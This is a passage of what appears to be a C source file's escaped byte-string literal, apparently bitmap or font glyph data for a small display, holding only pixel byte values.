\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\360\"\n  \"\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\207\\207\\207\\203\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\37\\77\\77\"\n  \"\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\300\\340\\340\\340\\360\\360\\360\\377\\377\\377\\377\\341\\340\\340\\300\\200\\0\\0\\0\\340\\374\\376\\377\\377\\37\\7\\3\\1\\0\\360\\377\"\n  \"\\377\\377\\377\\1\\1\\3\\17\\17\\7\\3\\0\\0\\17\\177\\377\\377\\377\\370\\340\\200\\0\\360\\377\\377\\377\\177\\0\\0\\0\\200\\300\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\17\\377\\377\\377\\377\\177\\37\\37\\37\\17\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\3\\3\\3\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\"\n  \"\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\360\\374\\376\\377\\377\\37\\17\\7\\7\\7\\7\\7\\7\\17\\37\\17\\7\"\n  \"\\2\\0\\0\\0\\0\\36\\36\\37\\177\\377\\377\\377\\376\\336\\36\\36\\36\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\340\\377\\377\\377\\377\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34>\\37\\37\\37\\17\\17\\17\\17\\17\\17\\37\"\n  \"\\37\\36>>><>>\\36\\37\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60x\"\n  \"\\370\\360\\340\\340\\340\\360\\360\\360\\360\\360\\340\\340\\340\\360\\370x\\60\\0\\0\\0\\0\\0\\0|\\377\\377\\377\\307\\3\\1\\1\\0\"\n  \"\\1\\1\\203\\307\\377\\377\\377|\\0\\0\\0\\0\\0\\0\\30<\\77\\37\\17\\17\\17\\37\\37\\36\\37\\37\\17\\17\\17\\37\\77<\"\n  \"\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\300\\0\\0\\3\\17\\77\\177\\377\\376\\370\\340\\200\\0\\0\\0\\200\\340\\370\\376\\377\\177\\37\"\n  \"\\7\\3\\0\\0\\0\\0\\200\\200\\200\\201\\207\\217\\277\\377\\376\\374\\376\\377\\277\\217\\207\\201\\200\\200\\200\\0\\0\\0\\0\\0\\307\\307\"\n  \"\\307\\307\\307\\307\\307\\377\\377\\377\\377\\377\\307\\307\\307\\307\\307\\307\\307\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\77\\77\\77\"\n  \"\\77\\77\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\177\\177\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\360\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\77\\377\\377\\377\\377\\343\\301\\300\\200\\200\\0\\1\\3\\17\\17\\7\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\360\\374\\376\\377\\377\\217\\7\\7\\7\\7\\17\\17\\37\\77\\376\\376\\374\\370\\340\\0\\0\\0\\0\\0\\0\\3\"\n  \"\\7\\7\\17\\17\\37\\37\\36>>|\\374\\376\\377\\377\\347\\303\\1\\0\\0\\0\\0\\20\\70~\\177\\376\\370\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\370\\377\\177\\177\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360\\370\\370x|\\274\\274\\274\\274\\274xxx\\360\\340\"\n  \"\\340\\300\\0\\0\\376\\377\\377\\37\\347\\371\\376\\376\\37\\17\\17\\17\\7\\17\\17\\77\\77><\\21\\7\\37\\377\\376\\177\\377\\377\\370\"\n  \"\\347\\237\\77\\177|\\370\\360\\360\\360\\360\\370\\370||\\70\\210\\340\\370\\377\\177\\0\\0\\3\\7\\7\\17\\37\\36><<<\"\n  \"<<<\\36\\36\\37\\17\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\207\\217\\317\\307\\343\\343\\343\\343\\343\\347\\377\\377\\377\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\177\\377\\377\\363\\341\\341\\341\"\n  \"\\341\\361\\371\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0<<<<<=======<====<\"\n  \"<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\360\\370\\374~<\\30\\200\\300\\340\\360\\370\\374~<\\30\\0\\0\\0\\0\\7\\17\\37\"\n  \"\\77\\177\\375\\371\\360\\340\\306\\217\\37\\77\\177\\377\\371\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\3\"\n  \"\\1\\0\\0\\0\\1\\3\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\177\\177\\177\\177\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\"\n  \"\\340\\360\\370x|<<<<<<xx\\370\\360\\340\\340\\300\\0\\0\\376\\377\\377\\17\\3\\0\\377\\377\\377\\377\\307\\307\"\n  \"\\307\\307\\347\\377\\376\\374x\\1\\7\\37\\377\\374\\177\\377\\377\\370\\340\\300\\377\\177\\177\\177\\1\\1\\1\\7\\37\\177}p\\340\\200\"\n  \"\\340\\370\\377\\177\\0\\0\\3\\7\\17\\17\\37\\37\\36>>><>>>\\36\\37\\17\\7\\7\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\340\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"~\\377\\377\\377\\347\\303\\303\\201\\303\\303\\347\\377\\377\\377|\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\"\n  \"\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\376\\376\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\36\\36\\36\\36\\36\\36\\36\\36\\36\\377\\377\\377\\377\\377\\36\\36\\36\\36\\36\\36\\36\\36\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\177\\177\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<<<<<<<<<<<<\"\n  \"<<<<<<<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\340\\340\\340\\340\\340\\340\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\7\\17\\17\\7\\3\\1\\1\\201\\301\\341\\367\\377\\377\\177\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\374\\376\\377\\377\\357\"\n  \"\\347\\343\\341\\341\\340\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\340\"\n  \"\\340\\340\\340\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\3\\361\\361\\361\\361\\361\\363\\377\\377\\377\\237\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\60x\\374\\374\\360\\340\\340\\340\\340\\340\\361\\373\\377\\177\\77\\37\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\370x\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\4\\17\\17\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\200\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\377\\0\\0\\0\\0\\200\\0\\377\\377\\377\\17\\37\\37>>>>>\\37\"\n  \"\\37\\17\\7\\17\\37\\77><>\\37\\37\\16\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\374\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\3\\7\\17\\37\\77\\77\\77\\77\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\0\\0\\0\\0\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0p\\370\\374\\374\\374\\370p\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\20<\\70xpssww\\77>\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\"\n  